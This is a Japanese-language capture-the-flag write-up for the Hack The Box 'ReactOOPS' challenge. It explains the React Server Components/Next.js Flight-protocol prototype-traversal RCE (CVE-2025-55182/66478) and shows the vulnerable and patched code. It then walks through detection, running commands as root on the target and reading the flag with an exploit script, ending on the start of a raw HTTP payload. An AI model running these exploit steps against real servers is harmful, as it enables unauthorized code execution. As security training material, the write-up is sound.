Hack The Box 引退済みチャレンジ ReactOOPS の Writeup - CVE-2025-55182/CVE-2025-66478 (React2Shell RCE) の完全攻略と教育的ガイド。詳細な脆弱性分析、悪用手法、チーム学習資料を含みます。
著者: TheStingR - Team ISP1337Hackers
チャレンジ: ReactOOPS (Web)
プラットフォーム: Hack The Box
難易度: Very Easy - 引退済み
解決日: 2025年12月13日
ReactOOPS は、React Server Components と Next.js App Router における未認証のリモートコード実行(RCE)の重大な脆弱性である CVE-2025-55182 / CVE-2025-66478 を悪用する Web チャレンジです。
主な調査結果:
hasOwnProperty チェックの欠如このチャレンジは、NexusAI のアシスタントインターフェースを実行する洗練された Next.js アプリケーションを提示します。アプリケーションは React Server Components を通じてユーザー入力を処理しているように見えますが、リアクティブレイヤーの微妙な不具合が根本的な脆弱性を示唆しています。
このアプリケーションは以下を使用しています:
Flight プロトコルは、Server Component アーキテクチャにおいてサーバーとクライアント間でデータを送信するための React 独自のシリアライズ形式です。以下のような参照を使用します:
$1 - 位置 1 のオブジェクトへの参照$1:path:to:value - プロパティパスのトラバーサルReact の ReactFlightReplyServer.js 内の脆弱なコード:
// Line ~450: getOutlinedModel function
function getOutlinedModel(response, id) {
let chunk = chunks.get(id);
const value = chunk.value;
// Process references like "$1:path:to:value"
if (reference.startsWith('$')) {
const refId = parseInt(reference.slice(1).split(':')[0]);
const path = reference.slice(1).split(':').slice(1);
let obj = chunks.get(refId).value;
// VULNERABLE LOOP - NO hasOwnProperty CHECK!
for (let i = 0; i < path.length; i++) {
obj = obj[path[i]]; // ← Allows prototype chain access
}
return obj;
}
}
安全なバージョン(あるべき姿):
for (let i = 0; i < path.length; i++) {
if (Object.prototype.hasOwnProperty.call(obj, path[i])) {
obj = obj[path[i]];
} else {
throw new Error('Invalid property access');
}
}
hasOwnProperty チェックがない場合、攻撃者は以下をたどることができます:
myObject[__proto__][then] → Chunk.prototype.then
myObject[__proto__][constructor] → Function
myObject[__proto__][constructor][prototype] → function.prototype
Step 1: Send reference "$1:__proto__:then"
│
├─ Access myChunk[__proto__]
└─ Then access [then] on the prototype
Step 2: Create fake Promise-like object
│
└─ { then: maliciousFunction }
Step 3: React calls await on this object
│
├─ Invokes the .then() method
└─ Executes attacker's function
Step 4: Arbitrary Code Execution
│
└─ Code runs in server context as root
この脆弱性は、Next-Action 検証の前に存在します:
Request Processing Flow:
├─ Parse multipart form data
├─ Deserialize Flight protocol ← RCE HAPPENS HERE
│ └─ Process references and objects
│ └─ No hasOwnProperty check!
├─ Extract Next-Action header
├─ Validate action ID ← This comes AFTER
└─ Execute action handler
デシリアライズ中に RCE を誘発することで、攻撃者はすべてのアクションレベルのセキュリティチェックをバイパスします。
# Test if service is responding
curl -v http://<IP>:PORT/
予想される結果: RSC が有効な HTML を配信する Next.js アプリケーション
以下の指標を探します:
next- プレフィックスを含むレスポンスヘッダー<script type="text/x-component"> を含む HTML.next ディレクトリのアーティファクトの存在最も信頼性の高い指標は、プロトタイプ汚染攻撃を試みてレスポンスを観察することです:
# Non-destructive detection payload
# Sends: ["$1:a:a"] referencing {}
# Vulnerable: {}.a.a throws → HTTP 500 + E{"digest"
# Patched: hasOwnProperty prevents access → no crash
# Navigate to challenge directory
cd /Challenges/ReactOOPS
# Clone react2shell exploit framework
git clone https://github.com/freeqaz/react2shell.git
# Verify all scripts are executable
chmod +x react2shell/*.sh
目標: 損害を与えずにサーバーが脆弱であることを確認する
cd react2shell
# Run the detection probe
./detect.sh http://<IP>:PORT
動作内容:
Next-Action: x ヘッダーを持つ multipart POST リクエストを作成します{} を参照するペイロード ["$1:a:a"] を送信します{}.a.a へのアクセスを試みます予想される出力:
[*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478)
[*] Target: http://<IP>:PORT
[*] HTTP Status: 500
[!] VULNERABLE - Server returned 500 with E{"digest" pattern
[*] Response body:
0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
1:E{\"digest\":\"346246470\"}
[!] This server is running a vulnerable version of React RSC / Next.js
解釈:
E{"digest": ✅ React のエラーハンドリング形式目標: 任意のコマンド実行を検証する
# Execute the 'id' command on the remote server
./exploit-redirect.sh -q http://<IP>:PORT "id"
動作内容:
Next-Action: x 付きの POST リクエストを送信します予想される出力:
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
重要な洞察: 出力は uid=0(root) を示しています。Web サーバーが root で実行されています!これは影響を増幅するセキュリティ設定の不備です。
目標: ファイルシステムを調査し、機密ファイルを特定する
# Check current working directory
./exploit-redirect.sh -q http://<IP>:PORT "pwd"
# Output: /app/.next/standalone
# List application root directory
./exploit-redirect.sh -q http://<IP>:PORT "ls -la /app"
発見されたディレクトリ構造:
/app/
├── .next/ # Next.js build output
├── node_modules/ # Dependencies
├── app/ # Application source code
├── public/ # Static assets
├── flag.txt # ✅ TARGET FILE (mode 600)
├── package.json
└── tsconfig.json
重大な発見: フラグファイルが制限的なパーミッション(600)で /app/flag.txt に存在します
目標: フラグファイルを読み取る
# Read the flag
./exploit-redirect.sh -q http://<IP>:PORT> "cat /app/flag.txt"
出力:
HTB{jus7_REDACTED_2025-55182}
✅ チャレンジ完了!
このエクスプロイトは Flight プロトコルのペイロードを構築します。コマンドペイロードの例は次のとおりです:
POST / HTTP/1.1
Host: <IP>>:PORT
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXX
Next-Action: x